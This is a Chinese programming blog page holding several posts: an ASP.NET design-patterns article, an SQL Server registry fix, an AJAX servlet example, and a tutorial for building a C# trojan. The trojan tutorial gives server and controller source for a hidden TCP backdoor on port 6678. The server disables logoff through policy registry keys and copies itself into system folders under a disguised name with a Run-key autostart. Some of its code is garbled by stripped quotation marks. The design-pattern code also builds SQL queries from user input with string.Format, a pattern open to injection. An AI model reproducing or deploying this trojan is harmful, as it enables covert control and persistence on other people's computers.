posts - 77, comments - 54, trackbacks - 0, articles - 0
  IT博客 :: 首页 :: 新随笔 :: 联系 :: 聚合  :: 管理

领悟Web设计模式
本文发表在《程序春秋》2004年1期
摘要
本文介绍了在.NET框架下应用Web设计模式改进WebForm程序设计的一些基本方法及要点。
关键字
设计模式,ASP.NET,WebForm,MVC,Page Controller,Front Controller,Page Cache
目录
 引言
 经典的WebForm架构
 设计模式
 MVC模式下的WebForm
 Page Controller模式下的WebForm
 Front Controller模式下的WebForm
 Page Cache模式下的WebForm
 参考资源
 下载地址
 作者信息
引言
记得微软刚刚推出ASP.NET时,给人的震撼是开发Web程序不再是编写传统的网页,而像是在构造应用程序,因而微软称之为WebForm。但是两年后的今天,有相当多的开发人员仍然延用写脚本程序的思路构建一个又一个的WebForm,而没有发挥出ASP.NET的优势,就此本文希望通过实例能够启发读者一些新的思路。
由于篇幅有限,本文不可能通过一个复杂的Web应用来向读者展示结合设计模式的WebForm,但是如果仅仅是一个小程序的确没有使用模式的必要。为了便于理解,希望您能把它想象成是一个大型系统中的小模块(如果代码是大型系统的一部分那么使用模式就变得非常重要)。
在本文的末尾给出了所有源程序的下载地址。
经典的WebForm架构
首先来看一个简单的应用,数据库设计如下图,Portal是Subject的父表,通过portalId进行一对多关联,程序需要根据portalId显示不同的Subject列表。
按照我们编写WebForm一般的习惯,首先在页面上拖放一个DropDownList、一个DataGrid、一个Button控件:
界面(webForm.aspx):
<form id="webForm" method="post" runat="server">
	<asp:DropDownList id="dropDownList" runat="server"></asp:DropDownList>
	<asp:Button id="button" runat="server" Text="Button"></asp:Button>
	<asp:DataGrid id="dataGrid" runat="server"></asp:DataGrid>
</form>
然后利用VS.NET代码隐藏功能编写的核心代码如下:
后置代码(webForm.aspx.cs):
//页面初始化事件
private void Page_Load(object sender, System.EventArgs e)
{
	if ( ! IsPostBack )
	{
		string SQL_SELECT_PORTAL = "SELECT * FROM PORTAL";
		//使用using确保释放数据库连接
		//连接字符串存放在Web.Config文件中便于修改
		using( SqlConnection conn = new SqlConnection( ConfigurationSettings.AppSettings["ConnectionString"] ) )
		{
			SqlDataAdapter dataAdapter = new SqlDataAdapter( SQL_SELECT_PORTAL, conn );
			DataSet dataSet = new DataSet();
			dataAdapter.Fill( dataSet );
			//设置下拉列表的数据源与文本域、值域
			dropDownList.DataSource = dataSet;
			dropDownList.DataTextField = "portalName";
			dropDownList.DataValueField = "portalId";
			dropDownList.DataBind();
		}
	}
}
//Button的Click事件
private void button_Click(object sender, System.EventArgs e)
{
	string SQL_SELECT_SUBJECT = "SELECT * FROM SUBJECT WHERE portalId = {0}";
	using( SqlConnection conn = new SqlConnection( ConfigurationSettings.AppSettings["ConnectionString"] ) )
	{
		//用下拉列表选择的值替换掉SQL语句中的待定字符{0}
		SqlDataAdapter dataAdapter = new SqlDataAdapter( string.Format( SQL_SELECT_SUBJECT, dropDownList.SelectedValue ), conn );
		DataSet dataSet = new DataSet();
		dataAdapter.Fill( dataSet );
		dataGrid.DataSource = dataSet;
		dataGrid.DataBind();
	}
}
执行结果如图所示,程序将根据下拉列表框选择的值绑定DataGrid,非常典型的一个WebForm架构,体现出ASP.NET事件驱动的思想,实现了界面与代码的分离。但是仔细看看可以从中发现几个问题:
 对数据库操作的代码重复,重复代码是软件开发中绝对的“坏味道”,往往由于某些原因当你修改了一处代码,却忘记要更改另外一处相同的代码,从而给程序留下了Bug的隐患。
 后置代码完全依赖于界面,在WebForm下界面的变化远远大于数据存储结构和访问的变化,当界面改变时您将不得不修改代码以适应新的页面,有可能将会重写整个后置代码。
 后置代码不仅处理用户的输入而且还负责了数据的处理,如果需求发生变更,比如需要改变数据的处理方式,那么你将几乎重写整个后置代码。
一个优秀的设计需要每一个模块,每一种方法只专注于做一件事,这样的结构才清晰,易修改,毕竟项目的需求总是在不断变更的,“唯一不变的就是变化本身”,好的程序一定要为变化作出准备,避免“牵一发而动全身”,所以一定要想办法解决上述问题,下面让我们来看看设计模式。
设计模式
设计模式描述了一个不断重复出现的问题以及对该问题的核心解决方案,它是成功的构架、设计及实施方案,是经验的总结。设计模式的概念最早来自于西方建筑学,但最成功的案例首推中国古代的“三十六计”。
MVC模式下的WebForm
MVC模式是一个用于将用户界面逻辑与业务逻辑分离开来的基础设计模式,它将数据处理、界面以及用户的行为控制分为:Model-View-Controller。
 Model:负责当前应用的数据获取与变更及相关的业务逻辑
 View:负责显示信息
 Controller:负责收集转化用户的输入
View和Controller都依赖于Model,但是Model既不依赖于View,也不依赖于Controller,这是分离的主要优点之一,这样Model可以单独的建立和测试以便于代码复用,View和Controller只需要Model提供数据,它们不会知道、也不会关心数据是存储在SQL Server还是Oracle数据库中或者别的什么地方。
根据MVC模式的思想,可以将上面例子的后置代码拆分为Model和Controller,用专门的一个类来处理数据,后置代码作为Controller仅仅负责转化用户的输入,修改后的代码为:
Model(SQLHelper.cs):封装所有对数据库的操作。
private static string SQL_SELECT_PORTAL = "SELECT * FROM PORTAL";
private static string SQL_SELECT_SUBJECT = "SELECT * FROM SUBJECT WHERE portalId = {0}";
private static string SQL_CONNECTION_STRING = ConfigurationSettings.AppSettings["ConnectionString"];
public static DataSet GetPortal()
{
	return GetDataSet( SQL_SELECT_PORTAL );
}
public static DataSet GetSubject( string portalId )
{
	return GetDataSet( string.Format( SQL_SELECT_SUBJECT, portalId ) );
}
public static DataSet GetDataSet( string sql )
{
	using( SqlConnection conn = new SqlConnection( SQL_CONNECTION_STRING ) )
	{
		SqlDataAdapter dataAdapter = new SqlDataAdapter( sql, conn );
		DataSet dataSet = new DataSet();
		dataAdapter.Fill( dataSet );
		return dataSet; 
	}
}

Controller(webForm.aspx.cs):负责转化用户的输入
	private void Page_Load(object sender, System.EventArgs e)
	{
		if ( ! IsPostBack )
		{
			//调用Model的方法获得数据源
			dropDownList.DataSource = SQLHelper.GetPortal();
			dropDownList.DataTextField = "portalName";
			dropDownList.DataValueField = "portalId";
			dropDownList.DataBind();
		}
	}
	private void button_Click(object sender, System.EventArgs e)
	{
		dataGrid.DataSource = SQLHelper.GetSubject( dropDownList.SelectedValue );
		dataGrid.DataBind();
	}
修改后的代码非常清晰,M-V-C各司其制,对任意模块的改写都不会引起其他模块的变更,类似于MFC中Doc/View结构。但是如果相同结构的程序很多,而我们又需要做一些统一的控制,如用户身份的判断,统一的界面风格等;或者您还希望Controller与Model分离的更彻底,在Controller中不涉及到Model层的代码。此时仅仅靠MVC模式就显得有点力不从心,那么就请看看下面的Page Controller模式。
Page Controller模式下的WebForm
MVC 模式主要关注Model与View之间的分离,而对于Controller的关注较少(在上面的MVC模式中我们仅仅只把Model和Controller分离开,并未对Controller进行更多的处理),但在基于WebForm的应用程序中,View和Controller本来就是分隔的(显示是在客户端浏览器中进行),而Controller是服务器端应用程序;同时不同用户操作可能会导致不同的Controller策略,应用程序必须根据上一页面以及用户触发的事件来执行不同的操作;还有大多数WebForm都需要统一的界面风格,如果不对此处理将可能产生重复代码,因此有必要对Controller进行更为仔细的划分。
Page Controller模式在MVC模式的基础上使用一个公共的页基类来统一处理诸如Http请求,界面风格等,如图:
传统的WebForm一般继承自System.Web.UI.Page类,而Page Controller的实现思想是所有的WebForm继承自定义页面基类,如图:
利用自定义页面基类,我们可以统一的接收页面请求、提取所有相关数据、调用对Model的所有更新以及向View转发请求,轻松实现统一的页面风格,而由它所派生的Controller的逻辑将变得更简单,更具体。
下面看一下Page Controller的具体实现:
Page Controller(BasePage.cs):
public class BasePage : System.Web.UI.Page
{
	private string _title;
	public string Title//页面标题,由子类负责指定
	{
		get
		{
			return _title;
		}
		set
		{
			_title = value;
		}
	}
	public DataSet GetPortalDataSource()
	{
		return SQLHelper.GetPortal();
	}
	public DataSet GetSubjectDataSource( string portalId )
	{
		return SQLHelper.GetSubject( portalId );
	}
	protected override void Render( HtmlTextWriter writer )
	{
		writer.Write( "<html><head><title>" + Title + "</title></head><body>" );//统一的页面头
		base.Render( writer );//子页面的输出
		writer.Write( @"<a href=""http://www.asp.net"">ASP.NET</a></body></html>" );//统一的页面尾
	}
}
现在它封装了Model的功能,实现了统一的页面标题和页尾,子类只须直接调用:
修改后的Controller(webForm.aspx.cs):
public class webForm : BasePage//继承页面基类
{
	private void Page_Load(object sender, System.EventArgs e)
	{
		Title = "Hello, World!";//指定页面标题
		if ( ! IsPostBack )
		{
			dropDownList.DataSource = GetPortalDataSource();//调用基类的方法
			dropDownList.DataTextField = "portalName";
			dropDownList.DataValueField = "portalId";
			dropDownList.DataBind();
		}
	}
	private void button_Click(object sender, System.EventArgs e)
	{
		dataGrid.DataSource = GetSubjectDataSource( dropDownList.SelectedValue );
		dataGrid.DataBind();
	}
}
从上可以看出BagePage Controller接管了大部分原来Controller的工作,使Controller变得更简单,更容易修改(为了便于讲解我没有把控件放在BasePage中,但是您完全可以那样做),但是随着应用复杂度的上升,用户需求的变化,我们很容易会将不同的页面类型分组成不同的基类,造成过深的继承树;又例如对于一个购物车程序,需要预定义好页面路径;对于向导程序来说路径是动态的(事先并不知道用户的选择)。
面对以上这些应用来说仅仅使用Page Controller还是不够的,接下来再看看Front Controller模式。
Front Controller模式下的WebForm
Page Controller的实现需要在基类中为页面的公共部分创建代码,但是随着时间的推移,需求会发生较大的改变,有时不得不增加非公用的代码,这样基类就会不断增大,您可能会创建更深的继承层次结构以删除条件逻辑,这样一来我们很难对它进行重构,因此需要更进一步对Page Controller进行研究。
Front Controller通过对所有请求的控制并传输解决了在Page Controller中存在的分散化处理的问题,它分为Handler和Command树两个部分,Handler处理所有公共的逻辑,接收HTTP Post或Get请求以及相关的参数并根据输入的参数选择正确的命令对象,然后将控制权传递到Command对象,由其完成后面的操作,在这里我们将使用到Command模式。
Command模式通过将请求本身变成一个对象可向未指定的应用对象提出请求,这个对象可被存储并像其他的对象一样被传递,此模式的关键是一个抽象的Command类,它定义了一个执行操作的接口,最简单的形式是一个抽象的Execute操作,具体的Command子类将接收者作为其一个实例变量,并实现Execute操作,指定接收者采取的动作,而接收者具有执行该请求所需的具体信息。
因为Front Controller模式要比上面两个模式复杂一些,我们再来看看例子的类图:
关于Handler的原理请查阅MSDN,在这就不多讲了,我们来看看Front Controller模式的具体实现:
首先在Web.Config里定义:
<!-- 指定对Dummy开头的aspx文件交由Handler处理 -->
<httpHandlers>
	<add verb="*" path="/WebPatterns/FrontController/Dummy*.aspx" type="WebPatterns.FrontController.Handler,WebPatterns"/>
</httpHandlers>
<!-- 指定名为FrontControllerMap的页面映射块,交由UrlMap类处理,程序将根据key找到对应的url作为最终的执行路径,您在这可以定义多个key与url的键值对 -->
<configSections>
	<section name="FrontControllerMap" type="WebPatterns.FrontController.UrlMap, WebPatterns"></section>
</configSections>
<FrontControllerMap>
	<entries>
		<entry key="/WebPatterns/FrontController/DummyWebForm.aspx" url="/WebPatterns/FrontController/ActWebForm.aspx" />
		。。。
	</entries>
</FrontControllerMap>
修改webForm.aspx.cs:
private void button_Click( object sender, System.EventArgs e )
{
	Response.Redirect( "DummyWebForm.aspx?requestParm=" + dropDownList.SelectedValue );
}
当程序执行到这里时将会根据Web.Config里的定义触发类Handler的ProcessRequest事件:
Handler.cs:
public class Handler : IHttpHandler
{
	public void ProcessRequest( HttpContext context )
	{
		Command command = CommandFactory.Make( context.Request.Params );
		command.Execute( context );
	}
	public bool IsReusable
	{
		get 
		{ 
			return true;
		}
	}
}
而它又会调用类CommandFactory的Make方法来处理接收到的参数并返回一个Command对象,紧接着它又会调用该Command对象的Execute方法把处理后参数提交到具体处理的页面。
public class CommandFactory
{
	public static Command Make( NameValueCollection parms )
	{
		string requestParm = parms["requestParm"];
		Command command = null;
		//根据输入参数得到不同的Command对象
		switch ( requestParm )
		{
			case "1" :
				command = new FirstPortal();
				break;
			case "2" :
				command = new SecondPortal();
				break;
			default :
				command = new FirstPortal();
				break;
		}
		return command;
	}
}
public interface Command
{
	void Execute( HttpContext context );
}
public abstract class RedirectCommand : Command
{
	//获得Web.Config中定义的key和url键值对,UrlMap类详见下载包中的代码
	private UrlMap map = UrlMap.SoleInstance;
	protected abstract void OnExecute( HttpContext context );
	public void Execute( HttpContext context )
	{
		OnExecute( context );
		//根据key和url键值对提交到具体处理的页面
		string url = String.Format( "{0}?{1}", map.Map[ context.Request.Url.AbsolutePath ], context.Request.Url.Query );
		context.Server.Transfer( url );
	}
}
public class FirstPortal : RedirectCommand
{
	protected override void OnExecute( HttpContext context )
	{
		//在输入参数中加入项portalId以便页面处理
		context.Items["portalId"] = "1";
	}
}
public class SecondPortal : RedirectCommand
{
	protected override void OnExecute(HttpContext context)
	{
		context.Items["portalId"] = "2";
	}
}
最后在ActWebForm.aspx.cs中:
dataGrid.DataSource = GetSubjectDataSource( HttpContext.Current.Items["portalId"].ToString() );
dataGrid.DataBind();
上面的例子展示了如何通过Front Controller集中和处理所有的请求,它使用CommandFactory来确定要执行的具体操作,无论执行什么方法和对象,Handler只调用Command对象的Execute方法,您可以在不修改 Handler的情况下添加额外的命令。它允许让用户看不到实际的页面,当用户输入一个URL时,然后系统将根据web.config文件将它映射到特定的URL,这可以让程序员有更大的灵活性,还可以获得Page Controller实现中所没有的一个间接操作层。
对于相当复杂的Web应用我们才会采用Front Controller模式,它通常需要将页面内置的Controller替换为自定义的Handler,在Front Controllrer模式下我们甚至可以不需要页面,不过由于它本身实现比较复杂,可能会给业务逻辑的实现带来一些困扰。
以上两个Controller模式都是处理比较复杂的WebForm应用,相对于直接处理用户输入的应用来讲复杂度大大提高,性能也必然有所降低,为此我们最后来看一个可以大幅度提高程序性能的模式:Page Cache模式。
Page Cache模式下的WebForm
几乎所有的WebForm面临的都是访问很频繁,改动却很少的应用,对WebForm的访问者来说有相当多的内容是重复的,因此我们可以试着把WebForm或者某些相同的内容保存在服务器内存中一段时间以加快程序的响应速度。
这个模式实现起来很简单,只需在页面上加入:
<%@ OutputCache Duration="60" VaryByParam="none" %>,
这表示该页面会在60秒以后过期,也就是说在这60秒以内所有的来访者看到该页面的内容都是一样的,但是响应速度大大提高,就象静态的HTML页面一样。
也许您只是想保存部分的内容而不是想保存整个页面,那么我们回到MVC模式中的SQLHelper.cs,我对它进行了少许修改:
public static DataSet GetPortal()
{
	DataSet dataSet;
	if ( HttpContext.Current.Cache["SELECT_PORTAL_CACHE"] != null )
	{
		//如果数据存在于缓存中则直接取出
		dataSet = ( DataSet ) HttpContext.Current.Cache["SELECT_PORTAL_CACHE"];
	}
	else
	{
		//否则从数据库中取出并插入到缓存中,设定绝对过期时间为3分钟
		dataSet = GetDataSet( SQL_SELECT_PORTAL );
		HttpContext.Current.Cache.Insert( "SELECT_PORTAL_CACHE", dataSet, null, DateTime.Now.AddMinutes( 3 ), TimeSpan.Zero );
	}
	return dataSet;
}
	
在这里把SELECT_PORTAL_CACHE作为Cache的键,把GetDataSet( SQL_SELECT_PORTAL )取出的内容作为Cache的值。这样除了程序第1次调用时会进行数据库操作外,在Cache过期时间内都不会进行数据库操作,同样大大提高了程序的响应能力。
小结
自从.NET框架引入设计模式以后在很大程度上提高了其在企业级应用方面的实力,可以毫不夸张的说在企业级应用方面.NET已经赶上了Java的步伐并大有后来居上之势,本文通过一个实例的讲解向读者展示了在.NET框架下实现Web设计模式所需的一些基本知识,希望能起到一点抛砖引玉的作用。
参考资源
下载地址
作者信息
袁剑
Microsoft ASP.NET MVP
2003年12月6日

posted @ 2007-01-18 11:34 东人EP 阅读(608) | 评论 (0)编辑 收藏

     摘要: // =============================================================================== //  Microsoft Data Access Application Block for .NET微软.NET数据访问程序块 //   http://msdn.micr...  阅读全文

posted @ 2007-01-18 11:27 东人EP 阅读(2988) | 评论 (0)编辑 收藏

木马的介绍

  因为本文是探讨木马程序,所以在介绍之前有一些木马构成的基本知识事先说明。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。

  使用的技术:

  控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。

  控制端开发:

  控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。

  控制端的开发:

  控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。

  1、连接请求

使用了.NET类中的 System.Net.Sockets.TcpClient类,
TcpClient(string hostname,int port)
Hostname 是要控制的主机名称,当然你也可以用IP地址。
Port是端口。
// System.EventArgs包含事件数据类的基类
private void button7_Click(object sender, System.EventArgs e)
{
//记录操作,在richTextBox控件中增加操作信息
richTextBox1.AppendText(请求连接 +textBox1.Text +\\r);
int port =6678;
try
{
//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口
client = new TcpClient(textBox1.Text,port);
}
catch
{
MessageBox.Show(服务器不在线!确定是否输入主机名称.);
richTextBox1.AppendText(服务器不在线!确定是否输入主机名称.);
}
}//private void buttion

  2、测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。 //提供网络访问的数据流


//private NetworkStream stream;
代码如下:
private void button8_Click(object sender, System.EventArgs e)
{
//纪录操作
richTextBox1.AppendText(测试连接 +\\r);
try
{

stream = client.GetStream();
if(stream.CanWrite)
{
//发送控制码
string control = jiance;
byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
stream.Write(by,0,by.Length);
//下次使用
stream.Flush();
//启动接收反回数据的线程
//receive是线程执行的函数,见后面的分析
threadReceive = new Thread(new ThreadStart(receive));
threadReceive.Start();
}
}
catch(Exception ee)
{
richTextBox1.AppendText (ee.Message+\\r);
MessageBox.Show(ee.Message);
}
}

  3、控制生效的代码

private void button9_Click(object sender, System.EventArgs e)
{
//这里是确定要发送的控制码,RadioButton是窗体控件
if(radioButton1.Checked){ control = form2.zhucex;}
else if(radioButton2.Checked){ control =form3.zhuces;}
else if(radioButton3.Checked){ control = warring;}
else if(radioButton4.Checked){ control =suggest;}
else if(radioButton5.Checked){ control =form4.mumawe;}
else if(radioButton6.Checked){ control =drop;}
if (control ==000000)
{
MessageBox.Show(你没有输入任何控制目标!不发控制信号);
richTextBox1.AppendText(你没有输入任何控制目标!不发控制信号);
}
else if(control != 000000)
{
try
{
//记录操作
richTextBox1.AppendText (control + 正在试图控制,等待回应...... + \\r);
stream = client.GetStream();
if(stream.CanWrite )
{
byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());
stream.Write(by,0,by.Length);
stream.Flush();
threadReceive =new Thread(new ThreadStart(receive));
threadReceive.Start();
}//endif
}//try
catch
{
richTextBox1.AppendText(服务器未连接1控制无效! +\\r);
MessageBox.Show(服务器未连接1控制无效! +\\r);
}
}//else if
}

  4、线程执行的函数

private void receive()
{
//设置读取数据的空间
byte[] bb = new byte[3];
//读取3个字节,i为实际读取的字节数
int i = stream.Read(bb,0,3);
//转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb);
string ss = System.Text.Encoding.ASCII.GetString(bb);
//hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功
if(ss==hjc)
{
MessageBox.Show(连接成功);
richTextBox1.AppendText(连接成功);
}
if(ss== hkz)
{
richTextBox1.AppendText(control +控制成功+\\r);
MessageBox.Show(control +控制成功+\\r);
}
}

 

  服务端的开发:

  要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:

  1、在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:

private void InitializeComponent()
{
//
// Form1
//
//窗体显示的起点和大小
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(368, 357);
//窗体名称
this.Name = Form1;
//设置属性让它后台运行
this.ShowInTaskbar = false;
this.Text = Form1;
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
}

  2、控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:

public Form1() //窗体的构造函数
{
//
// Windows 窗体设计器支持所必需的
//
InitializeComponent();

//
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
//加入你的侦听代码
//端口你可以自已设定,我使用了固定的端口
int port =6678;
//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的
listener = new TcpListener(port);
//启动侦听
listener.Start();
//增加接收控制码的线程,如果要停止线程可以用 Thread.abort()
//reControlCode 是线程启动执行的函数,此函数根据接收的控制
//控制码选取合适的注册表修改函数
Thread thread = new Thread(new ThreadStart(reControlCode));
thread.Start();
}
reControlCode函数如下,完整代码见程序
private void reControlCode()
{
//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求
socket = listener.AcceptSocket();
//如果连接成功执行
while (socket.Connected)
{
//接收控制码
byte [] by =new byte[6];
int i = socket.Receive(by,by.Length ,0);
string ss = System.Text.Encoding.ASCII.GetString(by);
//根据控制码执行不同的功能

//修改注册表加入编码
switch (ss)
{
case jiance://测试连接,返回测试信息
string str =hjc;
byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
socket.Send(bytee,0,bytee.Length,0);
break;
case zx1000:
//修改注册表函数,自已定义,见下面分析
UnLogOff();
//返回控制消息
retMessage();
break;

case zx0100:
//修改注册表函数
UnClose();
//返回控制消息
retMessage();
break;
//重复的case功能与前面一样,略掉
default:
break;
}//case
}//while
} //private void reControlCode
 

  3、C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer
下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改:

private void UnLogOff()
{
//得到主机的注册表的顶级节点
Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
//设置一个注册表子键的变量
RegistryKey key1;
try
{
//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键
//registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改
key1 =
rLocal.OpenSubKey(SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer,true);
//设置子键的键名,和值
key1.SetValue (NoLogOff,1);
//关闭打开的子键
key1.Close();
//警告字符串设定
mystr = mystr +HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer键值Nologoff被修改!请将它置为0!;
}
catch{}
//如果不存在自已建立
if(key1 ==null)
{
try
{
//使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键
RegistryKey key2 = rLocal.CreateSubKey(SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer);
key2.SetValue(NoLogOff,1);
key2.Close();
mystr = mystr +HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer键值Nologoff被修改!请将它置为0!;
}
catch{}
}
}

  4、在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:\\\\winnnt\\\\system\\\\msdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。

private void moveCC1()
{
try
{
//函数File.Move(string sourceFileName,string destFileName)起移动文件的作用
//sourceFileName为要移动的文件名,destFileName为文件的新路径
File.Move(C:\\\\winnnt\\\\system\\\\msdoss.exe,d:\\\\winnt\\\\system32\\\\expleror.exe);
}
catch {}
//将新移的木马程序设为自启动.分析和前面一样
try
{
key1 = rLocal.OpenSubKey(SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run,true);
key1.SetValue (microsoftt,d:\\\\winnt\\\\system32\\\\expleror.exe);
key1.Close();
}
catch{}
if(key1 ==null)
{
try
{
RegistryKey key2=rLocal.CreateSubKey(SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run);
key1.SetValue (microsoftt,d:\\\\winnt\\\\system32\\\\expleror.exe);
key1.Close();
}
catch{}
}
} //moveCC1()

  到这里一个简单的C#的木马就完成了。

posted @ 2007-01-12 17:56 东人EP 阅读(933) | 评论 (1)编辑 收藏

安装SQL Server2000的时候,安装程序提示我安装程序被挂起,让我重新启动电脑,但我即便是重新启动了再次安装,SQL Server2000的安装程序依旧提示我这个错误。看来重起并不能解除被挂起的安装程序。
        查阅了资料,得知要解决这个问题需要删除注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager下的PendingFileRenameOperations子键。

 

按照名称来理解,HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager应该存放的是当前系统会话的快照,而PendingFileRenameOperations记录的是一个未成功进行的文件更名操作,SQL Server2000在安装时可能会使用这个键值,记录在安装过程中对临时文件的操作,如果SQL Server2000在安装进程启动时就发现这个键值存在,它就认为上一个安装程序没有完成,从而拒绝继续自身的安装进程。而按照道理,任何一个改写过此键值的程序都应当在结束或者系统重新启动的时候将这个键值删除,但如果由于种种原因这个操作没有被进行的话,那么SQL Server2000自然会得出错误的结论。

posted @ 2007-01-10 13:36 东人EP 阅读(231) | 评论 (0)编辑 收藏

原来的同事都挺好,配合也十分默契,可是公司给的工资太低了,又老是拖工资!!
无奈呀!!

posted @ 2006-12-05 10:17 东人EP 阅读(265) | 评论 (0)编辑 收藏

实例

以下是我所写的一个简单的例子 :

一、 ajaxServlet.java 程序清单 :

package com;

import java.io.IOException;

import java.io.PrintWriter;

import javax.servlet.ServletException;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

/*

*------------------------------------------------------

* 文件名: ajaxServlet.java

* 创建日期: 2005-10-25

* 原作者: miaohai

* 版权所有:  miaohai

* 功能说明: 生成XML文档

*

* 修改记录:N/A

*------------------------------------------------------

*/

 

public class ajaxServlet extends HttpServlet{

 private static final String CONTENT_TYPE="text/xml; charset=gb2312";

 public void init() throws ServletException{

 }

 

 public void doGet(HttpServletRequest request,HttpServletResponse response)

   throws ServletException,IOException{

     response.setContentType(CONTENT_TYPE);

     PrintWriter out=response.getWriter();

     String action=request.getParameter("action");

     if(("send").equals(action)){

        StringBuffer sb=new StringBuffer("");

        sb.append("<type_name>AA</type_name>");
        sb.append("<type_name>BB</type_name>");
        sb.append("<type_name>CC</type_name>");
        sb.append("<type_name>DD</type_name>");
        sb.append("</type>");

        out.write(sb.toString());

        out.close();

     }

 }

}

 

二、 html 页面 :

<html>
<head>
<title>AJAX.html</title>
</head>
<script type="text/javascript">

/*
通过异步传输 XMLHTTP 发送参数到 ajaxServlet ,返回符合条件的 XML 文档 */

function getResult(){

  var url = "/Test/ajaxServlet?action=send";

  if (window.XMLHttpRequest) {

    req = new XMLHttpRequest();

  }else if (window.ActiveXObject){

    req = new ActiveXObject("Microsoft.XMLHTTP");

  }

 

  if(req){

     req.open("GET",url, true);

     req.onreadystatechange = complete;

     req.send(null);

  }

 

}

 

/* 分析返回的XML文档*/

 

function complete(){

  if (req.readyState == 4){

     if (req.status == 200) {

       var type = req.responseXML.getElementsByTagName("type_name");

       var str=new Array();

       for(var i=0;i< type.length;i++){

         str[i]=type[i].firstChild.data;

         document.all['td'].innerHTML+=str[i]+"
";

       }

   }

 }

}

 

</script>

<body onLoad="getResult()">
<table width="80%" border="0" cellspacing="0" cellpadding="0">

<tr><td id="td">&nbsp;</td></tr>

</table>

</body>

三、 web.xml 文件

<?xml version="1.0" encoding="ISO-8859-1"?>

<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">

<servlet>
<servlet-name>ajaxServlet</servlet-name>
<servlet-class>com.ajaxServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ajaxServlet</servlet-name>
<url-pattern>/ajaxServlet</url-pattern>
</servlet-mapping>
</web-app>
四、运行图:

posted @ 2006-11-15 09:52 东人EP 阅读(587) | 评论 (1)编辑 收藏

     摘要: < NOSCRIPT >< IFRAME  SRC =*.htm ></ IFRAME ></ NOSCRIPT > < script  lan...  阅读全文

posted @ 2006-11-09 20:52 东人EP 阅读(529) | 评论 (0)编辑 收藏

  • Foundations of Atlas
    Atlas 基础教程
    ASP.NET Ajax快速开发
    洞悉微软官方Ajax解决方案
  • 迅速使ASP.NET程序如虎添翼
  • 内容更新至Atlas最新版本
  • 人民邮电出版社
  • 【美】Laurence Moroney 著
  • 陈黎夫                              译

posted @ 2006-10-28 08:50 东人EP 阅读(693) | 评论 (1)编辑 收藏

